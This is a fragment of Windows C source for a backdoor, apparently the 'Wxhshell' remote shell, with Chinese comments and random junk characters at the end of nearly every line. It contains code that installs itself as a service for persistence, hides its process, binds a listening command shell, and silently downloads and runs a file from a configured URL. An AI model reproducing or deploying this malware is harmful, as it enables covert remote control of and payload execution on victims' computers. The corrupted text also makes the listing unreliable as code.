ULONG UniqueProcessId; 3ZhuC".c
ULONG InheritedFromUniqueProcessId; I~ e,']
} PROCESS_BASIC_INFORMATION; B>%;"OMp
sfs2ki H
PROCNTQSIP NtQueryInformationProcess; ^=y%s
Y``]66\Fp
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T]2=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0xc|Wn>
T=VBKaSbU
HANDLE hProcess; [#;CBs5o
PROCESS_BASIC_INFORMATION pbi; {`V ^V_
|D1TSv}rZD
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); okH*2F(-
if(NULL == hInst ) return 0; VJgYXPE
`
)pG*_q
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `{xKU8j^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <P#:dS%r
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [I=1
F_~A8y
if (!NtQueryInformationProcess) return 0; 1B~[L 5p9
5?|yYQM0tK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hx8.
if(!hProcess) return 0; Uwg*kJ3H
&[kFl\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %wN*Hu~E
SEIJ+u9XsA
CloseHandle(hProcess);
|A#\5u
Ym
1; /'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z|O3pQn~
if(hProcess==NULL) return 0; j{Sbf04
CwwZ~2
HMODULE hMod; Z=s.`?Z
char procName[255]; ]r>m{"~E
unsigned long cbNeeded; w9C?wT
"/d
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N 'YzCq;M
&[_D'jm+S0
CloseHandle(hProcess); 63c\1]YB.
oq2-)F2/
if(strstr(procName,"services")) return 1; // 以服务启动 "]U_o<V
8j}o\!H
return 0; // 注册表启动 h}=
} VCa`|S?2
YD] :3!MI
// 主模块 ?%Gzd(YEY
int StartWxhshell(LPSTR lpCmdLine) uIR/^o
{ \ `|
SOCKET wsl; 6`Diz_(
BOOL val=TRUE; d?)Ic1][
int port=0; ;!)gjiapw
struct sockaddr_in door; 8@7leAq!
[H{2<!
if(wscfg.ws_autoins) Install(); \Yr&vX/[p
_eUd
RL>
port=atoi(lpCmdLine); |J:m{
r)oR`\7
if(port<=0) port=wscfg.ws_port; BF /4
eJE!\ucS2W
WSADATA data; l4\ !J/df
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; smHQ'4x9
1Sd<cOEd
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pI(
H7 (
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); - @t L]]
door.sin_family = AF_INET; ;OSEMgB1
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vCn\_Nu;W&
door.sin_port = htons(port); U+:Mu]97
[E9)Da_)i
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JN3&(t
closesocket(wsl); #Ht;5p>5
return 1; ko6[Ej:TBo
} {~ 1
~V
5W(`lgVs,
if(listen(wsl,2) == INVALID_SOCKET) { &<t`EI];)4
closesocket(wsl); E6#")2C~
return 1; lfqsoIn;
}
/~pB_l
Wxhshell(wsl); p%IVWeZnx
WSACleanup(); 9b)'vr*Hy7
yZ,S$tSR
return 0; {VKP&{~O
ksF4m_E>YB
} rAS2qt
Vn?|\3KY
// 以NT服务方式启动 69N8COLB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >Y;[+#H[
{ ~z7Fz"o<
DWORD status = 0; B
!Z~j T
DWORD specificError = 0xfffffff; Pa"[&{ :
-gpHg
serviceStatus.dwServiceType = SERVICE_WIN32; M\r=i>(cu
serviceStatus.dwCurrentState = SERVICE_START_PENDING; i: 7cdhz
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `h<>_zpjY
serviceStatus.dwWin32ExitCode = 0; 3]67U}`
serviceStatus.dwServiceSpecificExitCode = 0; w$jq2?l
serviceStatus.dwCheckPoint = 0; Nzl`mx16
serviceStatus.dwWaitHint = 0; c"zE
ww)ow\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nKe|xP
if (hServiceStatusHandle==0) return; D:PrFa
M>u84|`
status = GetLastError(); 1HUe8m[#3
if (status!=NO_ERROR) k]S`A,~
{ .5iXOS0
G
serviceStatus.dwCurrentState = SERVICE_STOPPED; yH]w(z5Z
serviceStatus.dwCheckPoint = 0; j){0>O.V
serviceStatus.dwWaitHint = 0; PKYm{wO-
serviceStatus.dwWin32ExitCode = status; U%KsD 4B
serviceStatus.dwServiceSpecificExitCode = specificError; fDwqu.K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YZz8xtM<2
return; !jRs5{n^Ol
} [>|6qY$D
Zz! yv(e)H
serviceStatus.dwCurrentState = SERVICE_RUNNING; spTIhZ
serviceStatus.dwCheckPoint = 0; 6&,9=(:J&R
serviceStatus.dwWaitHint = 0; ~>rnq7j
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;ApldoMi
} % E8s>D
V@\A<q%jTs
// 处理NT服务事件,比如:启动、停止
e%^PVi
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pl&x6\zL
{ dl+:u}9M$
switch(fdwControl) 6nW]Q^N}
{ a6hDw'8!
case SERVICE_CONTROL_STOP: B0,C!??5
serviceStatus.dwWin32ExitCode = 0; %[BOe4[
serviceStatus.dwCurrentState = SERVICE_STOPPED; /m h #o
serviceStatus.dwCheckPoint = 0; ?y,z
serviceStatus.dwWaitHint = 0; {r:5\
{ A4Tjfc,rx9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); O@-(fyG
} \hZye20
return; E|x t\*
case SERVICE_CONTROL_PAUSE: )No> Q :t
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7|X.E
break; 4']eJ==OH
case SERVICE_CONTROL_CONTINUE: 7&1dr
serviceStatus.dwCurrentState = SERVICE_RUNNING; l42tTD8Awz
break; \!zM4ppr
case SERVICE_CONTROL_INTERROGATE: ^-%O
break; 8HL8)G6
}; tfPe-U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4AYW'j C
} sNsWz.DLT#
M~5Ja0N~
// 标准应用程序主函数 &o7"L;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X"S")BQ
q
{ t?h\Af4Tf
bjql<x5d
// 获取操作系统版本 aR}I l&
OsIsNt=GetOsVer(); 6dKJt
GetModuleFileName(NULL,ExeFile,MAX_PATH); h{?cs%lZ
)uy2,`z
// 从命令行安装 y@Ak_]{b
if(strpbrk(lpCmdLine,"iI")) Install(); 0t -=*7w%
#*
Iyvx
// 下载执行文件 )J1xO^tE
if(wscfg.ws_downexe) { /8LTM|(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SFVqUg3"Z
WinExec(wscfg.ws_filenam,SW_HIDE); E$s?)
} ,XsBm+Q(
]".SW5b_
if(!OsIsNt) { 7?qRz
// 如果时win9x,隐藏进程并且设置为注册表启动 sYd)r%%AU
HideProc(); d1u6*&@lf
StartWxhshell(lpCmdLine); 7xCm"jgP
} y
hNy
else 5wa!pR\c
if(StartFromService()) IV|})[n*
// 以服务方式启动 c:`CL<xzU
StartServiceCtrlDispatcher(DispatchTable); gS.,V!#t
else ? ;$f"Wl
// 普通方式启动 73kI%nNB
StartWxhshell(lpCmdLine); 5]Y?NN,GR
;
e)vk|
return 0; hGj`IAW
}